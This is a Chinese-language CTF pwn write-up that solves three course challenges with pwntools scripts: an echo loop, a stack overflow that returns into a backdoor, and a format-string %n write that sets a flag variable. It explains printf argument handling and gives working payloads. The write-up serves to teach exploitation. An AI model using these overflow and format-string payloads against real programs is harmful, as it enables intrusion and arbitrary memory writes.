WriteUp 2024/7/26 pwn

复读机

只要把它给的东西喂回去就行,注意换行符

from pwn import *

p = process('./repeater')
# p = remote('course.hitctf.cn', 28512)

p.send(b'lilac\n')
p.send(b'cabnjsdfgcq12cas7\n')

for i in range(99):
    p.recvuntil(f'round {i+1}: '.encode())
    k = p.recvuntil(b'\n')[:-1]
    p.send(k)
    print(k)

p.recvuntil(b'round 100: ')
p.interactive()

后门

from pwn import *

p = remote("course.hitctf.cn", "28610")
# p = process("./pwn")

payload = b"A" * (0x20 + 8) + p64(0x40119e)
# 直接输 backdoor 函数的地址会崩掉,gdb 调试发现 backdoor 函数里有一条 push 指令让栈中元素乱掉了,所以可以直接跳过那一句指令(?

p.sendline(payload)

p.interactive()

高级复读机

格式化字符串漏洞

对于每一个转换说明符( %s 之类),printf 都会从栈中寻找一个变量,并且视为一个字符串的地址,然后printf 会尝试寻找这些地址所对应的字符串,并复制到格式化字符串中去输出。

%s:获取指定变量所对应地址的内容,只不过有零截断。(%2$s:表示栈上第二个空间内容)

%p:把指向的内存的值直接输出,并不会作为一个地址去访问指向的东西,可以避免程序崩溃。

%n:它会把读取到的值视为地址,并把 printf 已经输出的字符数量写入到这个地址指向的位置。%6$n表示往第六个参数指向的内存中写内容(不输出字符)【核心:写入目标地址的值 = 已经输出的字符数量】

官方说法:n: 返回对函数的此调用迄今为止写入的字符数。结果被写入到实参所指向的值。该指示不可含有任何标签、域宽或精度。

例如:printf("aaaa%n", &a) 会把 4 传入 &a 指向的地址

%m$:指定把值传入第几个参数

例如:printf("%2$d%1$d", a, b) 将以 b, a 的顺序输出

反汇编代码:

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  char name[30]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init();
  puts("Welcome to fmt string center!");
  puts("I will repeat what you say!");
  while ( 1 )
  {
    do
    {
      printf("> ");
      __isoc99_scanf("%s", name);
      printf(name);
    }
    while ( flag != 1 );
    puts("Congratulations!");
    system("cat /flag");
  }
}

目标就是修改 flag 的值,把它变成 1,故需要用到 %n,实现在 printf 中写入内容的骚操作。

默认参数

printf(a0,  a1,  a2,  a3,  a4, a5, a6,    a7,    a8, ...)
       RDI, RSI, RDX, RCX, R8, R9, stack, stack, stack, ...
// 前面几个都是寄存器名字,stack 表示是栈上的内容

我们通过把 “%p%p%p%p%p%p%p%p” 喂给程序后,它就会按照上述默认值给我们返回地址

0xa                    // rsi
(nil)                  // rdx
0x7f1a2ad81aa0         // rcx 
(nil)                  // r8
0x7f1a2ada1040         // r9
0x7025702570257025     // chr(0x70) = 'p' chr(0x25) = '%' 小端序的输入内容
0x7025702570257025     
0x7ffc42cdd400         // 栈上原来有的其他东西,不用管
// 为什么没有 rdi ? 因为你传的参数"%p%p%p%p%p%p%p%p"就是进 rdi 了,后面参数虽然没写出来,但是隐性的就是这些寄存器,而 %p 恰恰能暴露他们的地址
io.sendline(b'a%7$nbbb' + p64(0x40408c))

为什么要填充 ‘bbb’ ?因为要凑齐 8 个字节,然后 a%?$nbbb 恰好填完第 6 个参数。再将 flag 的地址传入第 7 个参数,这样 ? 处改为 7,就能利用 %n 将 1 传入 flag 的位置,使得它的值被修改。

上一篇
下一篇